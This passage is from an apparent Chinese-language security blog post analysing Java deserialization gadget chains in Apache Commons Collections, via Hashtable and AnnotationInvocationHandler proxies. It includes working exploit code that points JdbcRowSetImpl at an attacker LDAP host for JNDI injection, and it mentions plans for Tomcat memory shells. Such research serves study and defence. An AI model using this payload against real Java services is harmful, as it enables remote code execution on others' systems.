
    在上面AbstractMap.equals(key)源码会存在m=o,再m.get(key),实际上参数o就是一个之前从Hashtable.reconstitutionPut()一路传递进去的那个key,也就是lazyMap,所以这里就等于是执行lazyMap.get(xx),到此利用链就连起来了。

    最后给个IDEA报错提示,看看调用链

    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
    at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
    at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
    at java.util.AbstractMap.equals(AbstractMap.java:472)
    at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129)
    at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
    at java.util.Hashtable.readObject(Hashtable.java:1195)
    

    这个利用链似乎有点绕,但多看看源码和利用代码,还是比较容易理解的

    AnnotationInvocationHandlerCC

    这个利用链,主要是用到了AnnotationInvocationHandler类,它继承了InvocationHandler和Serializable,并且还重写了readObject方法。

    先来看看继承InvocationHandler代表什么含义:在java中提供了一种动态代理创建对象的方式,也就是Proxy.newProxyInstance()方法,这个方法需要三个参数:

    • classLoader
    • 被创建类实现的所有接口
    • InvocationHandler实例

    被动态代理创建的对象,调用任意方法时,都会先调用代理类,也就是InvocationHandler实例的invoke方法,可以参照栗子

    那么回到AnnotationInvocationHandler,看看它的readObject方法和invoke方法

    public Object invoke(Object var1, Method var2, Object[] var3) {
        //有点长,省略一些不太相关代码,想详细看的话,可以直接看看源码
        switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);  // 注意这里,调用了this.memberValues.get()
                // 省略后方代码
        }
    }
    // readObject方法
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            var1.defaultReadObject();
            AnnotationType var2 = null;
    
            try {
                var2 = AnnotationType.getInstance(this.type);
            } catch (IllegalArgumentException var9) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
    
            Map var3 = var2.memberTypes();
            Iterator var4 = this.memberValues.entrySet().iterator();  // 关键在于这个this.memberValues.entrySet()
    		// 后面的代码省略
    }
    
    // 构造函数
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2; // 注意这里this.memberValues就是传进去的map实例
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
    

    可以看到readObject方法中调用了this.memberValues.entrySet(),想象一下,如果这个this.memberValues是被动态代理创建的,那是不是就会进入代理类的invoke函数,而代理类又是AnnotationInvocationHandler,那就会调用上面的invoke方法,进而调用代理类内部map的get方法(也就是this.memberValues.get(var4)这一行),而代理类的memberValues=lazyMap的话,直接就形成利用链了。来看看利用代码:

    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    Transformer transformer[] = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
    HashMap<String, String> hashMap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
    
    // 获取构造函数
    Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    
    // 创建代理类
    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
    // 动态代理,创建lazyMap实例
    Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
    // 创建被反序列化的AnnotationInvocationHandler类
    Object aa =  constructor.newInstance(Override.class, map1);
    
    // 本地写文件
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
    out.writeObject(aa);
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
    in.readObject();
    

    这里可能也会有点绕,所以将真正反序列化执行AnnotationInvocationHandler.readObject方法的实例命名为aa,当aa.readObject执行后,会调用aa.memberValues.entrySet(),也就是map1.entrySet(),由于map1是被代理类invocationHandler动态创建的,所以执行map1.entrySet的时候,会进入invocationHandler.invoke(),而invoke方法中存在this.memberValues.get(var4),这里就是代理类invocationHandler.memberValues.get(),代理类invocationHandler的memberValues就是一个lazyMap,所以成功到达ChainedTransformer!调用链如下

    AnnotationInvocationHandler.readObject
    	memberValues.entrySet() 由于memberValues是被动态代理的,所以调用代理类的invoke方法,而代理类也是一个AnnotationInvocationHandler类
    		AnnotationInvocationHandler.invoke()
    			AnnotationInvocationHandler.memberValues.get(xx) <=> lazyMap.get 代理类的memberValues是一个lazyMap
    				ChainedTransformer.transform(xx)
    

    3 总结

    因为面试和项目这个总结性的文章写的思路有一些断。学习过程中看过CC链中涉及到的源码后,不得不佩服ysoserial原作者的代码功底,tql!!ysoserial还有一些其它链,之后再研究研究。下一篇想写一个在shiro回显研究上看到的tomca 6 7 8 9全版本获取request的方法,试试能不能拿来做tomcat全版本的内存马

    参考

    https://xz.aliyun.com/t/9451

    https://xz.aliyun.com/t/8164

    https://github.com/frohoff/ysoserial

    本帖子中包含资源

    您需要 登录 才可以下载,没有帐号?立即注册